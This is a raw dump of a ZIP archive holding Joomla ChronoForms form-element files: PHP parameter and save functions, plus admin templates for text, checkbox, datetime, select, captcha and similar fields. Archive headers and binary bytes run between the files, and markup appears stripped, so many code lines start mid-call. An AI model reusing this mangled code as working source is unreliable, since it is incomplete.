'label_id' => 'input_file_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_file_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_class' => '', 'input_title' => '', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\)>=components/com_chronoforms/form_elements/input_page_break.ctpnuW+A
      Page Break
      input('chronofield[{n}][input_page_break_{n}_page_label]', array('type' => 'hidden', 'id' => 'input_page_break_{n}_page_label', 'value' => $element_params['page_label'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_page_break_element_config_{n}'); ?> tabStart('settings'); ?> input('input_page_break_{n}_page_label_config', array('type' => 'text', 'label' => 'Page Label', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('help'); ?> This element will start a new form page, you should configure the page shown under the "Show HTML" action settings, each form page can be inside its own Event.

      If you want to do the same inside a custom code then please use this formula: '); ?> tabEnd(); ?>
      PK@y>\I)<components/com_chronoforms/form_elements/input_container.ctpnuW+A
      Container
      Collapse input('chronofield[{n}][input_container_{n}_area_label]', array('type' => 'hidden', 'id' => 'input_container_{n}_area_label', 'value' => $element_params['area_label'])); ?> input('chronofield[{n}][input_container_{n}_collapsed]', array('type' => 'hidden', 'id' => 'input_container_{n}_collapsed', 'value' => $element_params['collapsed'])); ?> input('chronofield[{n}][input_container_{n}_container_type]', array('type' => 'hidden', 'id' => 'input_container_{n}_container_type', 'value' => $element_params['container_type'])); ?> input('chronofield[{n}][input_container_{n}_container_class]', array('type' => 'hidden', 'id' => 'input_container_{n}_container_class', 'value' => $element_params['container_class'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_container_element_config_{n}'); ?> tabStart('settings'); ?> input('input_container_{n}_area_label_config', array('type' => 'text', 'label' => 'Area Label', 'class' => 'small_input', 'value' => '')); ?> input('input_container_{n}_container_type_config', array('type' => 'select', 'label' => 'Container Type', 'options' => array('' => 'Virtual (none)', 'div' => 'Div', 'fieldset' => 'Field Set', 'tabs_area' => 'Tabs Area', 'tab' => 'Tab', 'sliders_area' => 'Sliders Area', 'slider' => 'Slider', 'custom' => 'Custom'), 'smalldesc' => 'Virtual = no output, Custom mode output can be inserted below.')); ?> input('input_container_{n}_container_class_config', array('type' => 'text', 'label' => 'Container Class', 'class' => 'small_input', 'value' => '')); ?> input('input_container_{n}_start_code_config', array('type' => 'textarea', 'label' => 'Start Code', 'rows' => 5, 'cols' => 50, 'style' => 'width:380px !important;', 'smalldesc' => 'The code to be inserted at the start of the container when in "custom" mode.')); ?> input('input_container_{n}_end_code_config', array('type' => 'textarea', 'label' => 'End Code', 'rows' => 5, 'cols' => 50, 'style' => 'width:380px !important;', 'smalldesc' => 'The code to be inserted at the end of the container when in "custom" mode.')); ?> input('input_container_{n}_collapsed_config', array('type' => 'hidden', 'value' => '')); ?> tabEnd(); ?> tabStart('help'); ?> Select the container type and drag other elements inside, the "Virtual" type will not have any output in the form code, use it if you want to save space or oragnize your wizard view.

      If you need a "Tabs" box then you will have to have multiple containers configured to "Tab" inside a parent container configured to "Tabs Area", same applies to "Sliders". tabEnd(); ?>
      PK@y>\Eɭ ;components/com_chronoforms/form_elements/input_password.phpnuW+A 'input_password_{n}', 'label_id' => 'input_password_{n}_label', 'label_text' => 'Enter password', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_password_{n}', 'input_id' => '', 'input_value' => '', 'input_class' => '', 'input_title' => '', 'input_maxlength' => '150', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '30'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['maxlength'] = $formdata_element[$field_header.'_input_maxlength']; $formcontent_item_array['size'] = $formdata_element[$field_header.'_input_size']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\p0;components/com_chronoforms/form_elements/input_checkbox.ctpnuW+A
      Checkbox
      input('chronofield[{n}][input_checkbox_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_checkbox_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_checkbox_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_checkbox_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_checkbox_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_checkbox_{n}_checked]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_checked', 'value' => $element_params['checked'])); ?> input('chronofield[{n}][input_checkbox_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_checkbox_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_checkbox_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_checkbox_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_checkbox_{n}_label_position]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_label_position', 'value' => $element_params['label_position'])); ?> input('chronofield[{n}][input_checkbox_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_checkbox_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost'), 'input_checkbox_element_config_{n}'); ?> tabStart('general'); ?> input('input_checkbox_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_checkbox_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_checkbox_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_checkbox_{n}_checked_config', array('type' => 'checkbox', 'label' => 'Checked', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_label_position_config', array('type' => 'select', 'label' => 'Label Position', 'options' => array('left' => 'Left', 'right' => 'Right'), 'smalldesc' => 'Right is more appropriate for things like "accept terms and conditions".')); ?> input('input_checkbox_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_checkbox_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_checkbox_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_checkbox_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_checkbox_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_checkbox_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?>
      PK@y>\HN:components/com_chronoforms/form_elements/input_captcha.phpnuW+A 'input_captcha_{n}', 'label_id' => 'input_captcha_{n}_label', 'label_text' => 'Enter the code', 'hide_label' => '0', 'input_name' => 'chrono_verification', 'input_id' => '', 'input_title' => '', 'input_value' => '', 'input_maxlength' => '5', 'input_class' => 'chrono_captcha_input', 'label_over' => '0', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '5'); } return array('element_params' => $element_params); } } ?>PK@y>\Hװ_ 9components/com_chronoforms/form_elements/input_select.phpnuW+A 'input_select_{n}', 'label_id' => 'input_select_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_select_{n}', 'input_id' => '', 'input_class' => '', 'input_title' => '', 'enable_dynamic_data' => 0, 'data_path' => '', 'value_key' => '', 'text_key' => '', 'selected' => '', 'options' => 'No=No'."\n".'Yes=Yes', 'showempty' => '', 'multiple' => '0', 'size' => '1', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ if(strlen($formdata_element[$field_header.'_showempty'])){ $showempty = $formdata_element[$field_header.'_showempty']; }else{ $showempty = false; } $formcontent_item_array['empty'] = $showempty; if((bool)$formdata_element[$field_header.'_multiple']){ $formcontent_item_array['multiple'] = (bool)$formdata_element[$field_header.'_multiple']; } $formcontent_item_array['size'] = $formdata_element[$field_header.'_size']; $formcontent_item_array['selected'] = $formdata_element[$field_header.'_selected']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['enable_dynamic_data'] = $formdata_element[$field_header.'_enable_dynamic_data']; $formcontent_item_array['data_path'] = $formdata_element[$field_header.'_data_path']; $formcontent_item_array['value_key'] = $formdata_element[$field_header.'_value_key']; $formcontent_item_array['text_key'] = $formdata_element[$field_header.'_text_key']; $temp_options = explode("\n", $formdata_element[$field_header.'_options']); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $formcontent_item_array['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\5J6xx;components/com_chronoforms/form_elements/input_datetime.phpnuW+A 'input_datetime_{n}', 'label_id' => 'input_datetime_{n}_label', 'label_text' => 'Select date', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_datetime_{n}', 'input_id' => '', 'input_value' => '', 'input_class' => '', 'input_title' => '', 'input_maxlength' => '150', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'addtime' => 0, 'timeonly' => 0, 'input_size' => '16'); } return array('element_params' => $element_params); } } ?>PK@y>\/xx9components/com_chronoforms/form_elements/input_header.phpnuW+A '', 'clean' => 0, 'multiline_start' => '0', 'multiline_add' => '0', 'container_id' => 0, ); } return array('element_params' => $element_params); } } ?>PK@y>\ԭB 7components/com_chronoforms/form_elements/input_text.phpnuW+A 'input_text_{n}', 'label_id' => 'input_text_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_text_{n}', 'input_id' => '', 'input_value' => '', 'input_maxlength' => '150', 'input_class' => '', 'input_title' => '', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '30'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['maxlength'] = $formdata_element[$field_header.'_input_maxlength']; $formcontent_item_array['size'] = $formdata_element[$field_header.'_input_size']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\D11=components/com_chronoforms/form_elements/input_security_q.phpnuW+A 'input_security_q_{n}', 'label_id' => 'input_security_q_{n}_label', 'label_text' => '{chrono_security_question}', 'hide_label' => '0', 'input_name' => 'chrono_security_answer', 'input_id' => '', 'input_title' => '', 'input_value' => '', 'input_maxlength' => '150', 'input_class' => '', 'label_over' => '0', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '30'); } return array('element_params' => $element_params); } } ?>PK@y>\3x!x!;components/com_chronoforms/form_elements/input_datetime.ctpnuW+A
      Datetime Picker
      input('chronofield[{n}][input_datetime_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_datetime_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_datetime_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_datetime_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_datetime_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_datetime_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_datetime_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_datetime_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_datetime_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_datetime_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_datetime_{n}_timeonly]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_timeonly', 'value' => $element_params['timeonly'])); ?> input('chronofield[{n}][input_datetime_{n}_addtime]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_addtime', 'value' => $element_params['addtime'])); ?> input('chronofield[{n}][input_datetime_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_datetime_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_datetime_element_config_{n}'); ?> tabStart('general'); ?> input('input_datetime_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_datetime_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_datetime_{n}_addtime_config', array('type' => 'checkbox', 'label' => 'Enable Time picker', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_timeonly_config', array('type' => 'checkbox', 'label' => 'Time picker ONLY', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_datetime_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_datetime_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_datetime_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> You should have the 2 checkboxes below checked in order for the "Default" date/time picker validation to work correctly, but if you are using the "Mootools Picker" then only "Required" should be checked.
      input('input_datetime_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> input('input_datetime_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Point to Clone', 'class' => 'small_input', 'value' => 'target:%field_name%_clone_id', 'rule' => "split", 'splitter' => ",", "smalldesc" => 'You must enable this for the "Default" time picker ONLY!')); ?> tabEnd(); ?>
      PK@y>\ɗ 9components/com_chronoforms/form_elements/input_header.ctpnuW+A
      Formatted Text

      input('chronofield[{n}][input_header_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_header_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_header_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_header_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General'), 'input_header_element_config_{n}'); ?> tabStart('general'); ?> input('input_header_{n}_clean_config', array('type' => 'checkbox', 'label' => 'Pure code', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Should the code be outputed without being included inside any stuff ?')); ?> Add/Remove editor input('input_header_{n}_code_config', array('type' => 'textarea', 'label' => 'Code', 'class' => 'text_editor', 'label_over' => true, 'rows' => 20, 'cols' => 70, 'style' => 'width:450px !important;')); ?> input('input_header_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_header_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?>
      PK@y>\Z""7components/com_chronoforms/form_elements/input_text.ctpnuW+A
      Text Box
      input('chronofield[{n}][input_text_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_text_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_text_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_text_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_text_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_text_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_text_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_text_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_text_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_text_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_text_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_text_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_text_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_text_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_text_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_text_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_text_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_text_element_config_{n}'); ?> tabStart('general'); ?> input('input_text_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_text_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_text_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_text_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_text_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_text_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_text_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_text_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_text_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Alpha', 'class' => 'small_input', 'value' => 'alpha', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'AlphaNum', 'class' => 'small_input', 'value' => 'alphanum', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Digit', 'class' => 'small_input', 'value' => 'digit', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'No Digit', 'class' => 'small_input', 'value' => 'nodigit', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Number', 'class' => 'small_input', 'value' => 'number', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Email', 'class' => 'small_input', 'value' => 'email', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Phone', 'class' => 'small_input', 'value' => 'phone', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'International Phone', 'class' => 'small_input', 'value' => 'phone_inter', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'URL', 'class' => 'small_input', 'value' => 'url', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PK@y>\E.=components/com_chronoforms/form_elements/input_security_q.ctpnuW+A
      Security Question Input
      input('chronofield[{n}][input_security_q_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_security_q_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_security_q_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_security_q_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_security_q_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_security_q_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_security_q_{n}_input_class]', 